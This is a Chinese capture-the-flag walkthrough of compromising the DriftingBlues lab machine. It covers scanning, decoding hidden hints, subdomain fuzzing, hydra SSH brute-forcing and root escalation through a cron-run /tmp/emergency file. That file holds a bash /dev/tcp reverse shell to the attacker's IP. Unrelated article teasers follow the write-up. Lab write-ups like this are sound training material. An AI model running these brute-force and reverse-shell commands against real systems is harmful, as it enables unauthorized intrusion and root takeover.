vulhub打靶记录——driftingbox

文章目录

    • 主机发现
    • 端口扫描
    • 目录扫描
    • 爆破子域名
    • 提权
    • 总结

主机发现

使用nmap扫描局域网内存活的主机,命令如下:

nmap -sP 192.168.56.0/24

在这里插入图片描述

  • 192.168.56.1:主机IP;
  • 192.168.56.100:DHCP服务器IP;
  • 192.168.56.101:Kali IP;
  • 192.168.56.106:靶机IP。

端口扫描

使用nmap对靶机进行端口扫描,命令如下:

nmap -p- -sV -A 192.168.56.105 -oN scan.txt

-oN:以txt文本格式输出nmap扫描结果。

在这里插入图片描述

可见这台靶机,开放了端口:22(ssh,linux上的远程登录协议))、80(http,web服务)。

  • 通常情况,先对80端口的web服务进行渗透。
  • 考虑到实际情况中,使用漏洞扫描器(nikto)有很大的风险,在以后的实验中不再使用漏扫工具。

目录扫描

使用dirsearch进行目录扫描。命令如下:

dirsearch -u http://192.168.56.106 -e php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak

在这里插入图片描述
发现并没有有啥用的信息~,查看80端口上的网站源码。
在这里插入图片描述
发现一段经过base64编码后的字符串,拿去解码,得到/noteforkingfish.txt这样一个路径。访问192.168.56.106/noteforkingfish.txt
在这里插入图片描述
Brainfuck/Ook! Obfuscation/Encoding对上述密文进行解密。
在这里插入图片描述
就是说让你用域名去访问这个网站,然后再网页上发现driftingblues.box这个域名。

在这里插入图片描述

vim /etc/hosts # 修改host文件# 内容
192.168.56.106 driftingblues.boxsource /etc/hosts # 重新加载

爆破子域名

拿到域名之后就可以用wfuzz爆破子域名

wfuzz -H 'HOST:FUZZ.driftingblues.box' -u 'http://192.168.56.106' -w <directory> --hw 570,53

在这里插入图片描述

570,53是返回的word数,--hw 570,53是隐藏返回word为570和53的子域名爆破情况。

发现一个test的子域名,此时需要将test.driftingblues.box写入hosts文件,才能访问到该域名。

vim /etc/hosts # 修改host文件# 内容
192.168.56.106 test.driftingblues.boxsource /etc/hosts # 重新加载

访问test.driftingblues.box,发现返回work in progress,相当于网站正在建设…

在这里插入图片描述
但是不影响进行目录扫描。

dirsearch -u http://test.driftingblues.box -e php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak

在这里插入图片描述
访问test.driftingblues.box/robots.txt
在这里插入图片描述
发现了http://test.driftingblues.box/ssh_cred.txt可以访问,且发现ssh的密码,但是密码不全,密码最后缺少一个数字。需要爆破ssh
在这里插入图片描述
现在我们知道了密码就是1mw4ckyyucky[0-9],然后用户名就是sheryl or eric。先把所有可能的密码保存到一个文件中。再使用hydra爆破ssh

hydra -l eric -P <directory> -t 30 192.168.56.106 ssh -f -vV

-l:用户名;
-P:密码;必须为大写P
-t:线程;
ssh:协议名称,这里是ssh,hydra支持多种协议;
-f:爆破成功就退出;
-vV:输出详细信息。

在这里插入图片描述
ssh的用户名为eric,密码为1mw4ckyyucky6

提权

ssh登录远程主机。

ssh eric@192.168.56.106 -P 1mw4ckyyucky6

在这里插入图片描述
进入/home,查看有哪些用户,并进入eric目录。
在这里插入图片描述
发现eric目录下,并没有什么东西。
在这里插入图片描述
再搜索具备SUID权限的程序,命令如下:

find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述
发现并没有特殊的文件。再查看定时任务cat /etc/crontab
在这里插入图片描述
上传自动化提权脚本linPEAS,部署http服务,命令:

python3 -m http.server 80

在靶机上通过web服务下载linpeas脚本,命令:

wget http://192.168.56.101/Linpeas.sh
chmod +x linpeas.sh # 赋予脚本可执行的权限
./linpeas.sh # 执行脚本

在这里插入图片描述

这个脚本显示的东西属实有点多~

uname -a # 查看操作系统位数

在这里插入图片描述

使用同样的方法,往靶机上上传papy64

wget http://192.168.56.101/pspy64
chmod +x pspy64 # 赋予脚本可执行的权限
./pspy64 # 执行脚本

系统上有些定时任务并不是通过操作系统(linux,/etc/crontab)进行配置,而pspy脚本会检测系统中运行的进程。

在这里插入图片描述
发现:系统隔一分钟就会执行下面几条命令:

/usr/bin/zip -r -0 /tmp/backup.zip /var/www/ # 将/var/www下的所有文件压缩到/tmp/bakup.zip文件中
/bin/sh /var/backups/backup.sh # 执行/var/backups/backup.sh
/bin/sh -c /bin/sh /var/backups/backup.sh 
/usr/sbin/CRON -f  # 以前台模式启动CRON任务调度服务。
/bin/chmod 
sudo /tmp/emergency
  • zip-r表示将指定的文件或目录及其子目录递归地压缩到一个压缩文件中,-0表示覆盖已存在的压缩文件,并不需要用户确认;
  • /usr 目录通常包含系统级别的应用程序和命令,而 /usr/sbin 目录专门用于存放需要超级用户权限(root权限)才能执行的系统管理命令或服务。

查看/var/backups/backup.sh
在这里插入图片描述
注意:每一分钟执行baskup.sh时,uid=0说明是root用户执行这个脚本。
而且,sudo /tmp/emergency命令是以root用户的权限去执行/tmp/emergency,现在/tmp/emergency并不存在,我们新建一个mp/emergency,里面放反弹shell,再赋予可执行权限,是不是就可以拿到root用户的shell了呢?

在这里插入图片描述
emergency中写入以下内容:

#!/bin/bash
bash -i >& /dev/tcp/192.168.56.101/443 0>&1

在这里插入图片描述
监听443端口,获取root用户的shell。

nc -nlvp 443

在这里插入图片描述
在这里插入图片描述

总结

渗透思路:

  1. 端口扫描,获取主机开放22、80端口;
  2. 对80端口,目录扫描;
  3. 查看网站源代码,发现base64编码的字符串,解码得到一个路径;
  4. 访问解码得到的路径,获得经过0ok编码的字符串,解码得到:主机ssh部分登录密码;
  5. hydra爆破ssh服务,成功登录;
  6. pspy64脚本实时监控系统进程,发现/var/backups/backup.sh按规律执行;
  7. emergency中写入反弹shell,系统自动执行,获取root shell。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/586699.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

c++的学习之路:7、类和对象(3)

一、初始化列表 初始化列表&#xff1a;以一个冒号开始&#xff0c;接着是一个以逗号分隔的数据成员列表&#xff0c;每个"成员变量"后面跟一个放在括号中的初始值或表达式&#xff0c;如下方代码就是初始化列表的方式。从图片可以看出这种方式也可以利用缺省初始化…

《数据结构学习笔记---第九篇》---循环队列的实现

文章目录 1.循环队列的定义 2.循环队列的判空判满 3.创建队列并初始化 4.入队和出队 5. 返回队尾队首元素 6.释放循环队列 1.循环队列的定义 定义&#xff1a;存储队列元素的表从逻辑上被视为一个环。 我们此次实现的循环队列&#xff0c;采用顺序表 typedef struct {int…

Python异常处理:基础到进阶的实用指南

前言 大家好&#xff0c;我是海鸽。异常处理在工程文件中必不可少&#xff0c;今天就带大家彻底搞定python的异常处理。 什么是异常 在Python中&#xff0c;异常是指在程序执行过程中出现的错误或异常情况。 当Python解释器无法执行代码时&#xff0c;它会引发异常&#xff0…

2024年鸿蒙迎来大爆发,有必要转行鸿蒙开发吗?

学鸿蒙开发有前途吗&#xff1f;学鸿蒙为时尚早&#xff1f; 一年前看到这个问题“现在学鸿蒙开发有前途吗&#xff1f;或者说找得到工作吗&#xff1f;” 得到的回答是这样子的&#xff1a; 这话只对了一半。 随着华为925秋季全场景新品发布会上余承东突然宣布&#xff1a;…

scratch买蛋糕 2024年3月中国电子学会图形化编程 少儿编程 scratch编程等级考试一级真题和答案解析

目录 scratch买蛋糕 一、题目要求 1、准备工作 2、功能实现 二、案例分析 1、角色分析 2、背景分析 3、前期准备 三、解题思路 1、思路分析 2、详细过程 四、程序编写 五、考点分析 六、 推荐资料 1、入门基础 2、蓝桥杯比赛 3、考级资料 4、视频课程 5、py…

C++tuple类型

tuple 类型 tuple是类似pair的模板。 每个pair的成员类型都不相同&#xff0c;但每个pair都恰好有两个成员。不同tuple类型的成员类型也不相同&#xff0c;但一个tuple可以有任意数量的成员。 每个确定的tuple类型的成员数目是固定的&#xff0c;但一个tuple类型的成员数目可…

Redis 的慢日志

Redis 的慢日志 Redis 的慢日志&#xff08;Slow Log&#xff09;是用于记录执行时间超过预设阈值的命令请求的系统。慢日志可以帮助运维人员和开发人员识别潜在的性能瓶颈&#xff0c;定位那些可能导致 Redis 性能下降或响应延迟的慢查询。以下是 Redis 慢日志的相关细节&…

day01 51单片机

51单片机学习 1 51单片机概述 1.1 51单片机简介 目前使用的51单片机一般是宏晶STC89系列,这其中流传最广的版本,也是我们课程的主角,就是STC89C52RC。 1.2 命名规则 1.3 单片机最小应用系统 2 点亮LED灯 2.1 硬件原理图 这个原理图非常简单,VCC接保护电阻R1,串联LED1最…

Docker容器与虚拟化技术:OpenEuler 部署 Docker UI

目录 一、实验 1.环境 2.OpenEuler 部署 docker-compose-ui 2.OpenEuler 部署 docker ui 3.使用cpolar内网穿透 二、问题 1.docker run -w 的作用 一、实验 1.环境 &#xff08;1&#xff09;主机 表1 主机 系统架构版本IP备注LinuxopenEuler22.03 LTS SP2 192.168…

Nginx开发实战三:替换请求资源中的固定数据

文章目录 1.效果预览2.下载Nginx解压并初始化3.字符串替换模块安装4.修改nginx配置文件并重启 1.效果预览 页面初始效果 页面替换后效果 说明:页面是内网的一个地址&#xff0c;我们通过nginx可以很便捷的将其改为外网访问&#xff0c;但是在外网访问这个地址后&#xff0c…

一文彻底搞懂SpringMVC执行流程

文章目录 1. MVC2. SpringMVC3. 执行流程4. 配置文件5. 常用注解 1. MVC MVC&#xff08;Model-View-Controller&#xff09;是一种软件架构模式&#xff0c;旨在将应用程序分为三个核心组件&#xff1a; 模型&#xff08;Model&#xff09;&#xff1a; 模型代表应用程序的数…

【three.js】简介和入门

目录 Three.js简介Three.js的应用Three.js的基础知识利用Three.js实现一个3D页面 Three.js简介 Three.js是一个基于JavaScript编写的开源3D图形库&#xff0c;利用WebGL技术在网页上渲染3D图形。它提供了许多高级功能&#xff0c;如几何体、纹理、光照、阴影等&#xff0c;以便…